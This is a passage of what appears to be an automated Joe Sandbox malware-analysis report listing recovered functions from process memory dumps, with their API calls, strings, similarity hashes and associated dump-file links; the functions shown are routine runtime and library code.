Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID: ;(
API String ID: 730355536-3979793246
Opcode ID: d915ef07e92372a43c4dbb3326be554dbe3411032cf0e44ebc2559523df48170
Instruction ID: 591c8a4a6df8b9a9fc885dc49227cc6cf99dfa62c3524560bc5c51c8397a5d9e
Opcode Fuzzy Hash: d915ef07e92372a43c4dbb3326be554dbe3411032cf0e44ebc2559523df48170
Instruction Fuzzy Hash: 0611B670585200AFE725FBAED52676877E5DB89704F1280E4D110BB690E5B9CA40CB74

Function 0BB73C30 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 0BB73C52
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,0BB73CA1,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 0BB73C85
RegCloseKey.ADVAPI32(?,0BB73CA8,00000000,?,00000004,00000000,0BB73CA1,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 0BB73C9B

Strings

FPUMaskValue, xrefs: 0BB73C7C
SOFTWARE\Borland\Delphi\RTL, xrefs: 0BB73C48

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: 189c22a88abd0b7e2485b0af5ac5d50d9e9fc2f9666de40d7b8e5d14be0e3275
Instruction ID: 07a226fb742f99a88debdecfd28015558d090b67818a1488cd080ed272b0955b
Opcode Fuzzy Hash: 189c22a88abd0b7e2485b0af5ac5d50d9e9fc2f9666de40d7b8e5d14be0e3275
Instruction Fuzzy Hash: F001D875984308BFDB11EBA0CD42FB977ECE749700F1004E1BA10E7580E6B59611D768

Function 62512010 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

__wfopen_s.LIBCMT ref: 62512036
OutputDebugStringA.KERNEL32(out), ref: 62512052
OutputDebugStringA.KERNEL32(6256E1DC), ref: 62512059

Strings

out, xrefs: 6251204D
C:\pl.txt, xrefs: 62512030

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: DebugOutputString$__wfopen_s
String ID: C:\pl.txt$out
API String ID: 4089825709-3113491540
Opcode ID: 56ed29db8f93cc272c26461e5a7fead375bbd1c87933328e90c07fba967bd9b5
Instruction ID: 1a1d8b741b93d58a5ffc4b89608d16ceff4f3dde06e133319525ea02ae61c1ce
Opcode Fuzzy Hash: 56ed29db8f93cc272c26461e5a7fead375bbd1c87933328e90c07fba967bd9b5
Instruction Fuzzy Hash: 8AF0A7764142206BE634DB68CC24F7A7BD4ABC6758F04481AF94497510DBB9E844CB92

Function 0BB86F88 Relevance: 7.8, APIs: 5, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb0f054c8b1de4cda45ac483a42acfde3ac1cfca5702451c0457839108093c0c
Instruction ID: a4b15b2b710d80105dd4ba8a3b51ee51a61368436d802b44511b89b469771067
Opcode Fuzzy Hash: eb0f054c8b1de4cda45ac483a42acfde3ac1cfca5702451c0457839108093c0c
Instruction Fuzzy Hash: A9D17039A04249EFCB11FFA5C4819EDBBB5EF4D714F9444E5E840A7310EA30AE46CB65

Function 625222C0 Relevance: 7.6, APIs: 5, Instructions: 114synchronizationCOMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 625222D1

Part of subcall function 6254ED6C: __FF_MSGBANNER.LIBCMT ref: 6254ED8F
Part of subcall function 6254ED6C: __NMSG_WRITE.LIBCMT ref: 6254ED96
Part of subcall function 6254ED6C: HeapAlloc.KERNEL32(00000000,?,00000001,00000000,00000000,?,62558DFF,?,00000001,?,?,62557CE7,00000018,62578F08,0000000C,62557D78), ref: 6254EDE3

_memset.LIBCMT ref: 625222F3
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000,625218DB,?), ref: 62522303
WaitForSingleObject.KERNEL32(?,00000BB8,?,?,?,?,?,?,?,?,?,00000000,625218DB,?), ref: 62522373
_malloc.LIBCMT ref: 625223C9

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _malloc$AllocCreateEventHeapObjectSingleWait_memset
String ID:
API String ID: 1367748533-0
Opcode ID: 14cdcd1d6076146ad91b8b6bdc503889360c955cd2dded3aed20374c517b223d
Instruction ID: 9049b9dd2cf268e01742ec122a5cea3f765706fe81282423cfee22bc71298550
Opcode Fuzzy Hash: 14cdcd1d6076146ad91b8b6bdc503889360c955cd2dded3aed20374c517b223d
Instruction Fuzzy Hash: A9313A79695201ABE3208E34DCA5BDB7BA4AF91708F145018EC44DB2C0DB75E909C7A2

Function 62556179 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(00000000,62578D48,0000000C,6254D554,00000001,00004000,00000000,?,00000000,00000000,00000001,?,?,6254DADC,?,00000001), ref: 625561AD
GetLastError.KERNEL32(?,?,6254DADC,?,00000001,?,00000000,000000FF,00000000,00000018,6254409F,00000001,?,00000001,00000000), ref: 625561B7
__dosmaperr.LIBCMT ref: 625561BE
__alloc_osfhnd.LIBCMT ref: 625561DF
__set_osfhnd.LIBCMT ref: 62556209

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: ErrorFileLastType__alloc_osfhnd__dosmaperr__set_osfhnd
String ID:
API String ID: 43408053-0
Opcode ID: 81661a2c252b0b4fa64cbac081ad5d13b8d154b4e9050f560a47b493272799a6
Instruction ID: 4e9884f267ad0d49c43f960a28d4559b7014167998f44f5a012d85bbe9a16e78
Opcode Fuzzy Hash: 81661a2c252b0b4fa64cbac081ad5d13b8d154b4e9050f560a47b493272799a6
Instruction Fuzzy Hash: 1D21D6719457969ADF218F78C8207AC7F60AF82328F188646D864AF1D3CB788A61DF41

Function 62546A00 Relevance: 7.6, APIs: 5, Instructions: 54stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,?,?), ref: 62546A2C
_memset.LIBCMT ref: 62546A49
GetWindowTextA.USER32(00000000,00000000,00000100), ref: 62546A63
lstrcmpA.KERNEL32(00000000,?,?,?), ref: 62546A75
SetWindowTextA.USER32(00000000,?), ref: 62546A81

Part of subcall function 6253F4C1: __CxxThrowException@8.LIBCMT ref: 6253F4D7
Part of subcall function 6253F4C1: __EH_prolog3.LIBCMT ref: 6253F4E4

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: TextWindow$Exception@8H_prolog3Throw_memsetlstrcmplstrlen
String ID:
API String ID: 4273134663-0
Opcode ID: ae84d10d57ecf6d7be0994e43b5dda69de2f7e4aba32a7d61491b92e08935a43
Instruction ID: 847f39049ba0b886fe3f5c9f6d65ca4da3728e2e2c3d977e23a06828a7e9bdba
Opcode Fuzzy Hash: ae84d10d57ecf6d7be0994e43b5dda69de2f7e4aba32a7d61491b92e08935a43
Instruction Fuzzy Hash: D301C4B2540225A7CB20DE79CC94FEEBB6CEF95344F114466ED05D3140DE70DE848761

Function 0BB7E7D0 Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,0BB7E867,?,?,00000000), ref: 0BB7E7E8

Part of subcall function 0BB7E548: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0BB7E566

GetThreadLocale.KERNEL32(00000000,00000004,00000000,0BB7E867,?,?,00000000), ref: 0BB7E818
EnumCalendarInfoA.KERNEL32(Function_0000E71C,00000000,00000000,00000004), ref: 0BB7E823
GetThreadLocale.KERNEL32(00000000,00000003,Function_0000E71C,00000000,00000000,00000004,00000000,0BB7E867,?,?,00000000), ref: 0BB7E841
EnumCalendarInfoA.KERNEL32(0BB7E758,00000000,00000000,00000003), ref: 0BB7E84C

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: 21bffa379f3820df5a46bee5c7434cf484d7c8618c9025345575d394ea8cdfba
Instruction ID: 0f204cea48180252319271e4d1a0b6559ab48514c58799c8d66e987b5ab6e689
Opcode Fuzzy Hash: 21bffa379f3820df5a46bee5c7434cf484d7c8618c9025345575d394ea8cdfba
Instruction Fuzzy Hash: B10162316C06086FE711BAB5CC13F5E725CDF46720F5145F0F930AA6E0EA65DE0246B5

Function 0BB7E87F Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,0BB7EA4A,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 0BB7E8AF

Part of subcall function 0BB7E548: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0BB7E566

Strings

ggg, xrefs: 0BB7E994
yyyy, xrefs: 0BB7E9A1
eeee, xrefs: 0BB7E9BA

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: c188fc96d8c2ee60c7c05ddc847cdd13a44f23ba22387c58d73882a26705c56e
Instruction ID: 794ff0fb3c2b7511b3ed84565a95f563658bac06a49fb35cae1ece6aafdce252
Opcode Fuzzy Hash: c188fc96d8c2ee60c7c05ddc847cdd13a44f23ba22387c58d73882a26705c56e
Instruction Fuzzy Hash: 1641C2367C41458FC711FAB888926BEB3EEEF85141F1805E5E572EB304E675DE02C661

Function 6254A10C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 62545395: EnterCriticalSection.KERNEL32(625801A0,?,?,00000000,?,62544C9C,00000010,00000008,62544B47,62544AEA,6253F4DD,62542D49,6251BFE2,00000000), ref: 625453CF
Part of subcall function 62545395: InitializeCriticalSection.KERNEL32(?,?,00000000,?,62544C9C,00000010,00000008,62544B47,62544AEA,6253F4DD,62542D49,6251BFE2,00000000), ref: 625453E1
Part of subcall function 62545395: LeaveCriticalSection.KERNEL32(625801A0,?,00000000,?,62544C9C,00000010,00000008,62544B47,62544AEA,6253F4DD,62542D49,6251BFE2,00000000), ref: 625453EE
Part of subcall function 62545395: EnterCriticalSection.KERNEL32(?,?,?,00000000,?,62544C9C,00000010,00000008,62544B47,62544AEA,6253F4DD,62542D49,6251BFE2,00000000), ref: 625453FE

Part of subcall function 62544C81: __EH_prolog3_catch.LIBCMT ref: 62544C88

Part of subcall function 6253F4C1: __CxxThrowException@8.LIBCMT ref: 6253F4D7
Part of subcall function 6253F4C1: __EH_prolog3.LIBCMT ref: 6253F4E4

GetProcAddress.KERNEL32(00000000,HtmlHelpA), ref: 6254A155
FreeLibrary.KERNEL32(?), ref: 6254A165

Strings

hhctrl.ocx, xrefs: 6254A139
HtmlHelpA, xrefs: 6254A14F

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: CriticalSection$Enter$AddressException@8FreeH_prolog3H_prolog3_catchInitializeLeaveLibraryProcThrow
String ID: HtmlHelpA$hhctrl.ocx
API String ID: 2853499158-63838506
Opcode ID: a5dbaf634e787863f03dccd10ae73925909017049e81cf7fc0ff38d40652b4fb
Instruction ID: 82abdf11deaf04ff62ef9e18542ff6294e5e3a71602cfec1dd1550d03fb42ed4
Opcode Fuzzy Hash: a5dbaf634e787863f03dccd10ae73925909017049e81cf7fc0ff38d40652b4fb
Instruction Fuzzy Hash: 6F01F431545716BBEB325FB5CC34B5ABFE4AF40719F00A828F95A95160DF31D8109763

Function 6256040C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 6256041F

Part of subcall function 6256037A: ___BuildCatchObjectHelper.LIBCMT ref: 625603B0

_UnwindNestedFrames.LIBCMT ref: 62560436
___FrameUnwindToState.LIBCMT ref: 62560444

Strings

csm, xrefs: 6256041B, 62560430, 62560443, 62560461, 62560471

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
